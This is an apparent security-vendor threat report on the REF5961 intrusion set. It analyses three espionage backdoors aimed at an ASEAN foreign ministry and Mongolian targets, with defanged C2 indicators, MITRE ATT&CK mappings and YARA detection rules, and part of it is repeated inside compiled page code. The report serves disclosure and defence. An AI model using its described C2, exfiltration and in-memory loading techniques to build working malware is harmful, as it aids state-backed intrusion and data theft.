subdomain registration for `paper.hosted-by-bay[.]net` and the TLS certificate were registered on December 14, 2020.\n\n![paper.hosted-by-bay[.]net TLS certificate](/assets/images/introducing-the-ref5961-intrusion-set/image17.jpg)\n\n\nAs identified in the malware analysis section for RUDEBIRD, there were two IP addresses used for C2: `45.90.58[.]103` and `185.195.237[.]123`.\n\n`45.90.58[.]103` was used to register the subdomain `news.hosted-by-bay[.]net`, on December 13, 2020.\n\nBoth IP addresses (one from EAGERBEE and one from RUDEBIRD) were assigned to subdomains (`paper.hosted-by-bay[.]net` and `news.hosted-by-bay[.]net`) within one day at the domain `hosted-by-bay[.]net`.\n\n**_Note: While `195.123.245[.]79` (EAGERBEE) and `185.195.237[.]123` (RUDEBIRD) are malicious, we were unable to identify anything atypical of normal C2 nodes. They used the same defense evasion technique (described below) used by `185.82.217[.]164` (EAGERBEE) and `45.90.58[.]103` (RUDEBIRD)._**\n\n### Domain analysis\n\nWhen performing an analysis of the `hosted-by-bay[.]net` domain, we see that it is registered to the IP address `45.133.194[.]106`. This IP address exposes two TCP ports, one is the expected TLS port of `443`, and the other is `62753`.\n\n**_Note: Port `443` has a Let’s Encrypt TLS certificate for `paypal.goodspaypal[.]com`. This domain does not appear to be related to this research but should be categorized as malicious based on its registration to this IP._**\n\nOn port `62753`, there was a self-signed wildcard TLS leaf certificate with a fingerprint of `d218680140ad2c6e947bf16020c0d36d3216f6fc7370c366ebe841c02d889a59` (`*.REDACTED[.]mn`). This fingerprint is used for one host, `shop.REDACTED[.]mn`. The 10-year TLS certificate was registered on December 13, 2020.\n\n```\nValidity\nNot Before: 2020-12-13 11:53:20\nNot After: 2030-12-11 11:53:20\nSubject: CN=shop.REDACTED[.]mn\n```\n\n`.mn` is the Internet ccTLD for Mongolia and REDACTED is a large bank in Mongolia. When researching the network infrastructure for REDACTED, we can see that they do currently own their DNS infrastructure.\n\nIt does not appear that `shop.REDACTED[.]mn` was ever registered. This self-signed TLS certificate was likely used to encrypt C2 traffic. While we cannot confirm that this certificate was used for EAGERBEE or RUDEBIRD, in the malware code analysis of both EAGERBEE and RUDEBIRD, we identified that TLS to an IP address is an available malware configuration option. We do believe that this domain is related to EAGERBEE and RUDEBIRD based on the registration dates, IP addresses, and subdomains of the `hosted-by-bay[.]net` domain.\n\nAs noted in the EAGERBEE malware analysis, we identified two other previously unnamed EAGERBEE samples used to target Mongolian victims and also leveraged Mongolian C2 infrastructure.\n\n### Defense evasion\n\nFinally, we see all of the C2 IP addresses add and remove services at similar dates and times. This is a tactic to hinder the analysis of the C2 infrastructure by limiting its availability. It should be noted that the history of the service enablement and disablement (provided by [Censys.io](https://search.censys.io/) databases) is meant to show possible coordination in C2 availability. The images below show the last service change windows, further historical data was not available.\n\n`192.123.245[.]79` had TCP port `80` enabled on September 22, 2023 at 07:31 and then disabled on September 24, 2023 at 07:42.\n\n![192.123.245[.]79 C2 service windows](/assets/images/introducing-the-ref5961-intrusion-set/image6.jpg)\n\n\n`185.195.237[.]123` had TCP port `443` enabled on September 22, 2023 at 03:33 and then disabled on September 25, 2023 at 08:08.\n\n![185.195.237[.]123 C2 service windows](/assets/images/introducing-the-ref5961-intrusion-set/image23.jpg)\n\n\n`185.82.217[.]164` had TCP port `443` enabled on September 22, 2023 at 08:49 and then disabled on September 25, 2023 at 01:02.\n\n![185.82.217[.]164 C2 service windows](/assets/images/introducing-the-ref5961-intrusion-set/image20.jpg)\n\n\n`45.90.58[.]103` had TCP port `443` enabled on September 22, 2023 at 04:46 and then disabled on September 24, 2023 at 09:57.\n\n![45.90.58[.]103 C2 service windows](/assets/images/introducing-the-ref5961-intrusion-set/image10.jpg)\n\n\n### Network intersection summary\n\nEAGERBEE and RUDEBIRD are two malware samples, co-resident on the same infected endpoint, in the same environment. This alone builds a strong association between the families. \n\nWhen adding the fact that both families use C2 endpoints that have been used to register subdomains on the same domain `hosted-by-bay[.]net`), and the service availability coordination, leads us to say with a high degree of confidence that the malware and campaign operators are from the same tasking authority, or organizational umbrella.\n\n## Summary\n\nEAGERBEE, RUDEBIRD, and DOWNTOWN backdoors all exhibit characteristics of incompleteness whether using “Test” in file/service names, ignoring compilation best practices, leaving orphaned code, or leaving a smattering of extraneous debug statements.\n\nThey all, however, deliver similar tactical capabilities in the context of this environment.\n* Local enumeration\n* Persistence\n* Download/execute additional tooling\n* C2 options\n\nThe variety of tooling performing the same or similar tasks with varying degrees and types of miscues causes us to speculate that this environment has attracted the interest of multiple players in the REF2924 threat actor’s organization. The victim's status as a government diplomatic agency would make it an ideal candidate as a stepping-off point to other targets within and outside the agency’s national borders. Additionally, it is easy to imagine that multiple entities within a national intelligence apparatus would have collection requirements that could be satisfied by this victim directly. \n\nThis environment has already seen the emergence of the REF2924 intrusion set (SIESTAGRAPH, NAPLISTENER, SOMNIRECORD, and DOORME), as well as the deployment of SHADOWPAD and COBALTSTRIKE. The REF2924 and REF5961 threat actor(s) continue to deploy new malware into their government victim’s environment.\n\n## REF5961 and MITRE ATT\u0026CK\n\nElastic uses the [MITRE ATT\u0026CK](https://attack.mitre.org/) framework to document common tactics, techniques, and procedures that advance persistent threats used against enterprise networks.\n\n### Tactics\n\nTactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.\n* EAGERBEE\n * [Defense Evasion](https://attack.mitre.org/tactics/TA0005/)\n * [Discovery](https://attack.mitre.org/tactics/TA0007/)\n * [Command and Control](https://attack.mitre.org/tactics/TA0011/)\n * [Execution](https://attack.mitre.org/tactics/TA0002/)\n* RUDEBIRD\n * [Defense Evasion](https://attack.mitre.org/tactics/TA0005/)\n * [Collection](https://attack.mitre.org/tactics/TA0009/)\n * [Command and Control](https://attack.mitre.org/tactics/TA0011/)\n * [Discovery](https://attack.mitre.org/tactics/TA0007/)\n * [Lateral Movement](https://attack.mitre.org/tactics/TA0008/)\n * [Execution](https://attack.mitre.org/tactics/TA0002/)\n* DOWNTOWN\n * [Discovery](https://attack.mitre.org/tactics/TA0007/)\n * [Collection](https://attack.mitre.org/tactics/TA0009/)\n\n### Techniques\n\nTechniques represent how an adversary achieves a tactical goal by performing an action.\n* EAGERBEE\n * [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027/)\n * [System Information Discovery](https://attack.mitre.org/techniques/T1082/)\n * [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041/)\n * [Proxy](https://attack.mitre.org/techniques/T1090/)\n * [Process Injection](https://attack.mitre.org/techniques/T1055/)\n* RUDEBIRD\n * [File and Directory Discovery](https://attack.mitre.org/tactics/TA0007/#:~:text=T1083-,File%20and%20Directory%20Discovery,-Adversaries%20may%20enumerate)\n * [System Information Discovery](https://attack.mitre.org/techniques/T1082)\n * [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)\n * [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570/)\n * [Data from Local System](https://attack.mitre.org/techniques/T1005)\n* DOWNTOWN\n * [File and Directory Discovery](https://attack.mitre.org/tactics/TA0007/#:~:text=T1083-,File%20and%20Directory%20Discovery,-Adversaries%20may%20enumerate)\n * [System Information Discovery](https://attack.mitre.org/techniques/T1082)\n\n## Malware prevention capabilities\n* [EAGERBEE](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_EagerBee.yar)\n* [RUDEBIRD](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_RudeBird.yar)\n* [DOWNTOWN](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_DownTown.yar)\n\n## YARA\n\nElastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the EAGERBEE, RUDEBIRD, and DOWNTOWN malware:\n\n### EAGERBEE\n```\nrule Windows_Trojan_EagerBee_1 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-09\"\n last_modified = \"2023-06-13\"\n threat_name = \"Windows.Trojan.EagerBee\"\n reference_sample = \"09005775fc587ac7bf150c05352e59dc01008b7bf8c1d870d1cea87561aa0b06\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $a1 = { C2 EB D6 0F B7 C2 48 8D 0C 80 41 8B 44 CB 14 41 2B 44 CB 0C 41 }\n $a2 = { C8 75 04 33 C0 EB 7C 48 63 41 3C 8B 94 08 88 00 00 00 48 03 D1 8B }\n\n condition:\n all of them\n}\n\nrule Windows_Trojan_EagerBee_2 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-09-04\"\n last_modified = \"2023-09-20\"\n threat_name = \"Windows.Trojan.EagerBee\"\n reference_sample = \"339e4fdbccb65b0b06a1421c719300a8da844789a2016d58e8ce4227cb5dc91b\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $dexor_config_file = { 48 FF C0 8D 51 FF 44 30 00 49 03 C4 49 2B D4 ?? ?? 48 8D 4F 01 48 }\n $parse_config = { 80 7C 14 20 3A ?? ?? ?? ?? ?? ?? 45 03 C4 49 03 D4 49 63 C0 48 3B C1 }\n $parse_proxy1 = { 44 88 7C 24 31 44 88 7C 24 32 48 F7 D1 C6 44 24 33 70 C6 44 24 34 3D 88 5C 24 35 48 83 F9 01 }\n $parse_proxy2 = { 33 C0 48 8D BC 24 F0 00 00 00 49 8B CE F2 AE 8B D3 48 F7 D1 48 83 E9 01 48 8B F9 }\n\n condition:\n 2 of them\n}\n```\n\n### RUDEBIRD\n```\nrule Windows_Trojan_RudeBird {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-09\"\n last_modified = \"2023-06-13\"\n threat_name = \"Windows.Trojan.RudeBird\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $a1 = { 40 53 48 83 EC 20 48 8B D9 B9 D8 00 00 00 E8 FD C1 FF FF 48 8B C8 33 C0 48 85 C9 74 05 E8 3A F2 }\n\n condition:\n all of them\n}\n```\n\n### DOWNTOWN\n```\nrule Windows_Trojan_DownTown_1 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-10\"\n last_modified = \"2023-06-13\"\n threat_name = \"Windows.Trojan.DownTown\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $a1 = \"SendFileBuffer error -1 !!!\" fullword\n $a2 = \"ScheduledDownloadTasks CODE_FILE_VIEW \" fullword\n $a3 = \"ExplorerManagerC.dll\" fullword\n\n condition:\n 3 of them\n}\n\nrule Windows_Trojan_DownTown_2 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-08-23\"\n last_modified = \"2023-09-20\"\n threat_name = \"Windows.Trojan.DownTown\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $a1 = \"DeletePluginObject\"\n $a2 = \"GetPluginInfomation\"\n $a3 = \"GetPluginObject\"\n $a4 = \"GetRegisterCode\"\n\n condition:\n all of them\n}\n```\n\n## Observations\n\nAll observables are also available for [download](https://github.com/elastic/labs-releases/tree/main/indicators/ref5961) in both ECS and STIX format.\n\nThe following observables were discussed in this research.\n\n| Observable | Type | Name | Reference |\n|------------------------------------------------------------------|---------|--------------------|----------------|\n| `ce4dfda471f2d3fa4e000f9e3839c3d9fbf2d93ea7f89101161ce97faceadf9a` | SHA-256 | EAGERBEE shellcode | iconcaches.mui |\n| `29c90ac124b898b2ff2a4897921d5f5cc251396e8176fc8d6fa475df89d9274d` | SHA-256 | DOWNTOWN | In-memory DLL |\n| `185.82.217[.]164` | ipv4 | EAGERBEE C2 | |\n| `195.123.245[.]79` | ipv4 | EAGERBEE C2 | |\n| `45.90.58[.]103` | ipv4 | RUDEBIRD C2 | |\n| `185.195.237[.]123` | ipv4 | RUDEBIRD C2 | |\n\n## References\n\nThe following were referenced throughout the above research:\n* [https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry](https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry) \n* [https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns](https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns) \n* [https://thediplomat.com/2022/06/mongolias-1-billion-tree-movement/](https://thediplomat.com/2022/06/mongolias-1-billion-tree-movement/) \n* [https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/](https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/) \n* [https://github.com/OALabs/hashdb/blob/main/algorithms/mult21_add.py](https://github.com/OALabs/hashdb/blob/main/algorithms/mult21_add.py) \n* [https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager](https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager)\n* [https://malpedia.caad.fkie.fraunhofer.de/actor/ta428](https://malpedia.caad.fkie.fraunhofer.de/actor/ta428) \n* [https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/](https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/) \n","code":"var Component=(()=\u003e{var h=Object.create;var r=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var u=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,p=Object.prototype.hasOwnProperty;var f=(n,e)=\u003e()=\u003e(e||n((e={exports:{}}).exports,e),e.exports),w=(n,e)=\u003e{for(var t in e)r(n,t,{get:e[t],enumerable:!0})},s=(n,e,t,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of u(e))!p.call(n,a)\u0026\u0026a!==t\u0026\u0026r(n,a,{get:()=\u003ee[a],enumerable:!(o=m(e,a))||o.enumerable});return n};var b=(n,e,t)=\u003e(t=n!=null?h(g(n)):{},s(e||!n||!n.__esModule?r(t,\"default\",{value:n,enumerable:!0}):t,n)),y=n=\u003es(r({},\"__esModule\",{value:!0}),n);var d=f((C,l)=\u003e{l.exports=_jsx_runtime});var D={};w(D,{default:()=\u003eT,frontmatter:()=\u003eE});var i=b(d()),E={title:\"Introducing the REF5961 intrusion set\",slug:\"introducing-the-ref5961-intrusion-set\",date:\"2023-10-04\",description:\"The REF5961 intrusion set discloses three new malware families targeting ASEAN members. The threat actor leveraging this intrusion set continues to develop and mature their capabilities.\",author:[{slug:\"daniel-stepanic\"},{slug:\"salim-bitam\"},{slug:\"cyril-francois\"},{slug:\"seth-goodwin\"},{slug:\"andrew-pease\"}],image:\"photo-edited-08@2x.jpg\",category:[{slug:\"security-research\"},{slug:\"malware-analysis\"}],tags:[\"security-research\",\"malware-analysis\",\"ref5961\",\"ref2924\",\"eagerbee\",\"downtown\",\"rudebird\"]};function c(n){let e=Object.assign({h2:\"h2\",p:\"p\",strong:\"strong\",a:\"a\",img:\"img\",ul:\"ul\",li:\"li\",h3:\"h3\",em:\"em\",code:\"code\",pre:\"pre\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\"},n.components);return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.h2,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:\"Updated October 11, 2023 to include links to the BLOODALCHEMY backdoor.\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Elastic Security Labs continues to monitor state-aligned activity, targeting governments and multinational government organizations in Southern and Southeastern Asia. We\\u2019ve observed a batch of new and unique capabilities within a complex government environment. This intrusion set is named REF5961.\"}),`\n`,(0,i.jsx)(e.p,{children:\"In this publication, we will highlight distinctions between malware families, demonstrate relationships to known threats, describe their features, and share resources to identify or mitigate elements of an intrusion. Our intent is to help expose this ongoing activity so the community can better understand these types of threats.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"The samples in this research were discovered to be co-residents with a previously reported intrusion set, REF2924 (original reporting \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry\",rel:\"nofollow\",children:\"here\"}),\" and updated \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns\",rel:\"nofollow\",children:\"here\"}),\"). The victim is the Foreign Affairs Ministry of a member of the Association of Southeast Asian Nations (ASEAN).\"]}),`\n`,(0,i.jsx)(e.p,{children:\"Elastic Security Labs describes the operators of the REF2924 and REF5961 intrusion sets as state-sponsored and espionage-motivated due to observed targeting and post-exploitation collection activity. Further, the correlation of execution flows, tooling, infrastructure, and victimology of multiple campaigns we\\u2019re tracking along with numerous third-party reports makes us confident this is a China-nexus actor.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image27.jpg\",alt:\"REF5961 intrusion execution flow\",width:\"1440\",height:\"919\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Part of this intrusion set includes a new x86-based backdoor called BLOODALCHEMY, and it is covered in depth \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/disclosing-the-bloodalchemy-backdoor\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`,(0,i.jsx)(e.h2,{id:\"key-takeaways\",children:\"Key takeaways\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"Elastic Security Labs is disclosing three new malware families:\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"EAGERBEE\"}),`\n`,(0,i.jsx)(e.li,{children:\"RUDEBIRD\"}),`\n`,(0,i.jsx)(e.li,{children:\"DOWNTOWN\"}),`\n`]}),`\n`]}),`\n`,(0,i.jsx)(e.li,{children:\"Code sharing and network infrastructure have connected malware in this intrusion set to other campaigns\"}),`\n`,(0,i.jsx)(e.li,{children:\"The threat actors targeting ASEAN governments and organizations continue to develop and deploy additional capabilities\"}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"eagerbee\",children:\"EAGERBEE\"}),`\n`,(0,i.jsx)(e.p,{children:\"EAGERBEE is a newly identified backdoor discovered by Elastic Security Labs that loads additional capabilities using remotely-downloaded PE files, hosted in C2. However, its implementation and coding practices reveal a lack of advanced skills from the author, relying on basic techniques.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"During our research outlined below, we identified string formatting and underlying behavior that aligns with previous research attributed to a Chinese-speaking threat actor referred to as \",(0,i.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/actor/apt27\",rel:\"nofollow\",children:\"LuckyMouse\"}),\" (APT27, EmissaryPanda).\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"code-analysis\",children:\"Code analysis\"}),`\n`,(0,i.jsx)(e.p,{children:\"EAGERBEE dynamically constructs its Import Address Table (IAT) during runtime, populating a designated data structure with the memory addresses of essential Windows APIs that the malware needs.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image25.png\",alt:\"EAGERBEE dynamically constructs its Import Address Table\",width:\"993\",height:\"502\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:(0,i.jsx)(e.em,{children:\"Note: Dynamic import tables are used as an anti-analysis technique by malware authors to impair static analysis of their binaries. These techniques prevent most static analysis software from determining the imports and thus force analysts through laborious manual methods to determine what the malware is doing.\"})})}),`\n`,(0,i.jsxs)(e.p,{children:[\"After resolving all the required Windows APIs, the malware creates a mutex with the string \",(0,i.jsx)(e.code,{children:\"mstoolFtip32W\"}),\" to prevent multiple instances of the malware from running on the same machine.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image1.png\",alt:\"Mutex setup\",width:\"645\",height:\"152\"})}),`\n`,(0,i.jsx)(e.p,{children:\"The malware gathers key information about the compromised system:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"The computer's name is obtained using the \",(0,i.jsx)(e.code,{children:\"GetComputerNameW\"}),\" function\"]}),`\n`,(0,i.jsxs)(e.li,{children:[\"The malware retrieves the Windows version by utilizing the \",(0,i.jsx)(e.code,{children:\"GetVersionExW\"}),\" function\"]}),`\n`,(0,i.jsxs)(e.li,{children:[\"A globally unique identifier (GUID) is generated through the \",(0,i.jsx)(e.code,{children:\"CoCreateGuid\"}),\" function\"]}),`\n`,(0,i.jsxs)(e.li,{children:[\"The processor architecture information is acquired using the \",(0,i.jsx)(e.code,{children:\"GetNativeSystemInfo\"}),\" function\"]}),`\n`,(0,i.jsxs)(e.li,{children:[\"The ProductName, EditionID, and CurrentBuildNumber are extracted from the designated registry key \",(0,i.jsx)(e.code,{children:\"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\"})]}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image19.png\",alt:\"Information collection\",width:\"1222\",height:\"187\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The sample\\u2019s operational schedule is controlled by the string \",(0,i.jsx)(e.code,{children:\"0-5:00:23;6:00:23;\"}),\". In our sample the malware conforms to the outlined schedule using the ISO 8601 24-hour timekeeping system:\"]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"active from Sunday(0) to Friday(5)\"}),`\n`,(0,i.jsx)(e.li,{children:\"all hours between 00 and 23\"}),`\n`,(0,i.jsx)(e.li,{children:\"Saturday(6) all hours between 00 and 23\"}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"This functionality allows the malware to impose self-restrictions during specific timeframes, showcasing both its adaptability and control.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image3.png\",alt:\"Configuration scheduling\",width:\"868\",height:\"815\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The malware's C2 addresses are either hardcoded values or stored in an XOR-encrypted file named \",(0,i.jsx)(e.code,{children:\"c:\\\\users\\\\public\\\\iconcache.mui\"}),\". This file is decrypted using the first character as the decryption key.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"This configuration file contains a list of semicolon-delimited IP addresses. The format adheres to the structure \",(0,i.jsx)(e.code,{children:\"IP:PORT\"}),\", where the character \",(0,i.jsx)(e.code,{children:\"s\"}),` is optional and instructs the malware to open a Secure Socket Layer (SSL) for encrypted communication between C2 and the malware.\n`,(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image18.png\",alt:\"Malware\\u2019s hardcoded configuration of C2 IPs\",width:\"1106\",height:\"148\"})]}),`\n`,(0,i.jsx)(e.p,{children:\"The configuration optionally accepts a list of port numbers on which the malware will listen. The specific configuration mode, whether it's for reverse or forward connections, determines this behavior.\"}),`\n`,(0,i.jsx)(e.p,{children:\"A configuration flag is embedded directly into the code in both operating modes. This flag empowers the malware to select between utilizing SSL encryption during its interactions with the C2 server or plain text communication.\"}),`\n`,(0,i.jsx)(e.p,{children:\"In passive listening mode, the malware opens a listening socket on the port indicated in its configuration.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"When operating in active connection mode, the malware attempts to load its configuration from the file \",(0,i.jsx)(e.code,{children:\"c:\\\\users\\\\public\\\\iconcache.mui\"}),\". In the event that this file is not found, the malware falls back to its hardcoded configuration to acquire the necessary IPs\"]}),`\n`,(0,i.jsx)(e.p,{children:\"The author employs a global variable embedded in the source code to select between modes. Importantly, both are included in the binary, with only one being executed based on the selection. Leaving this dormant capability in the binary may have been a mistake, but one that helps researchers understand the technical maturity of this group. Generally speaking, malware authors benefit from removing unused code that may be used against them.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image16.png\",alt:\"Both forward and reverse connection functionalities are present in the binary\",width:\"1009\",height:\"711\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:(0,i.jsx)(e.em,{children:\"Note: In C programming, modularity is achieved through the use of #define directives to selectively include or exclude code parts in the compiled binary. However, the malware developer employed a less advisable approach in this case. They utilized static global variables whose values are set during compilation. Consequently, the resulting binary contains both utilized and unused functions. During runtime, the binary assesses the value of these static global variables to determine its behavior. Though functional, this is neither the best programming nor tradecraft practice as it permits analysis and detection engineering of code used outside the identified intrusion.\"})})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The malware has the capability to detect the presence of an HTTP proxy configuration on the host machine by inspecting the \",(0,i.jsx)(e.code,{children:\"ProxyEnable\"}),\" registry key within \",(0,i.jsx)(e.code,{children:\"Software\\\\Microsoft\\\\windows\\\\CurrentVersion\\\\Internet Settings\"}),\". If this key value is set to \",(0,i.jsx)(e.code,{children:\"1\"}),\", the malware extracts the information in the \",(0,i.jsx)(e.code,{children:\"ProxyServer\"}),\" key.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"If no proxy server is set, the malware connects directly to C2.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"However, if the proxy settings are defined, the malware also initializes the proxy by sending a \",(0,i.jsx)(e.code,{children:\"CONNECT\"}),\" request, and its data to the configured destination. The malware author made a typo in the HTTP request code; they mistakenly wrote \",(0,i.jsx)(e.code,{children:\"DONNECT\"}),\" instead of \",(0,i.jsx)(e.code,{children:\"CONNECT\"}),\" in the HTTP request string in the binary. This is a reliably unique indicator for those analyzing network captures.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image12.png\",alt:\"HTTP request string to connect to the setup proxy\",width:\"948\",height:\"265\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Upon establishing a connection to C2, The malware downloads executable files from C2, likely pushed automatically. It validates that each executable is 64bit, then extracts the entry point and modifies memory protections to allow execution using the VirtualProtect API.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image7.png\",alt:\"Payload execution in the same process\",width:\"1267\",height:\"718\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"eagerbee-connection-to-a-mongolian-campaign\",children:\"EAGERBEE connection to a Mongolian campaign\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"During our EAGERBEE analysis, we also saw an additional two (previously unnamed) EAGERBEE \",(0,i.jsx)(e.a,{href:\"https://www.virustotal.com/gui/search/09005775FC587AC7BF150C05352E59DC01008B7BF8C1D870D1CEA87561AA0B06%250AA191D8059E93C0AB479DE45CDD91C41B985F9BCCD7B2CAD9F171FEA1C5F19E2E/files\",rel:\"nofollow\",children:\"samples\"}),\" involved in a targeted campaign focused on Mongolia. These two EAGERBEE samples were both respectively bundled with other files and used a similar naming convention (\",(0,i.jsx)(e.code,{children:\"iconcache.mui\"}),\" for EAGERBEE and \",(0,i.jsx)(e.code,{children:\"iconcaches.mui\"}),\" in the Mongolian campaign). The samples consisted of multiple files and a lure document.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image15.png\",alt:\"Decompressed files inside Mongolian campaign sample\",width:\"697\",height:\"196\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"While analyzing the Mongolian campaign samples, we found a previous \",(0,i.jsx)(e.a,{href:\"https://www.virustotal.com/gui/url/7e0d899d54c6a0f43fbac0e633d821eefa9057e29df8c4956321fe947daaaa54\",rel:\"nofollow\",children:\"webpage\"}),\" (\",(0,i.jsx)(e.code,{children:\"http://president[.]mn/en/ebooksheets.php\"}),\") hosted under Mongolian infrastructure serving a \",(0,i.jsx)(e.a,{href:\"https://www.virustotal.com/gui/file/af8cb76d9d955d654ec89b85d1ab35e1886ec2ba1a8c600a451d1bd383fb4e66/detection\",rel:\"nofollow\",children:\"RAR file\"}),\" named \",(0,i.jsx)(e.code,{children:\"20220921_2.rar\"}),\". Given the VirusTotal scan date of the file and the filename, it is likely to have been created in September 2022.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"The lure text is centered around the regulations for the \\u201CBillion Trees National Movement Fund\\u201D and has been an important \",(0,i.jsx)(e.a,{href:\"https://thediplomat.com/2022/06/mongolias-1-billion-tree-movement/\",rel:\"nofollow\",children:\"topic\"}),\" in recent years related to an initiative taken on by Mongolia. To address food security, climate impacts, and naturally occurring but accelerating desertification, Mongolia\\u2019s government has undertaken an ambitious goal of planting one billion trees throughout the country.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image5.png\",alt:\"Lure document\",width:\"914\",height:\"465\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"For this infection chain, they leveraged a signed Kaspersky application in order to sideload a \",(0,i.jsx)(e.a,{href:\"https://www.virustotal.com/gui/file/4b3dc8609cba089e666b2086264e6f71dada57fdb3f160d2f5e546881a278766/relations\",rel:\"nofollow\",children:\"malicious DLL\"}),\". Upon execution, sensitive data and files were collected from the machine and uploaded to a hard-coded Mongolian government URL (\",(0,i.jsx)(e.code,{children:\"www.president[.]mn/upload.php\"}),\") via cURL. Persistence is configured using a Registry Run Key.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image14.png\",alt:\"Hard-coded domain in first sample\",width:\"1062\",height:\"257\"})}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:(0,i.jsxs)(e.em,{children:[\"Note: Though it does not contain the .gov second-level domain, 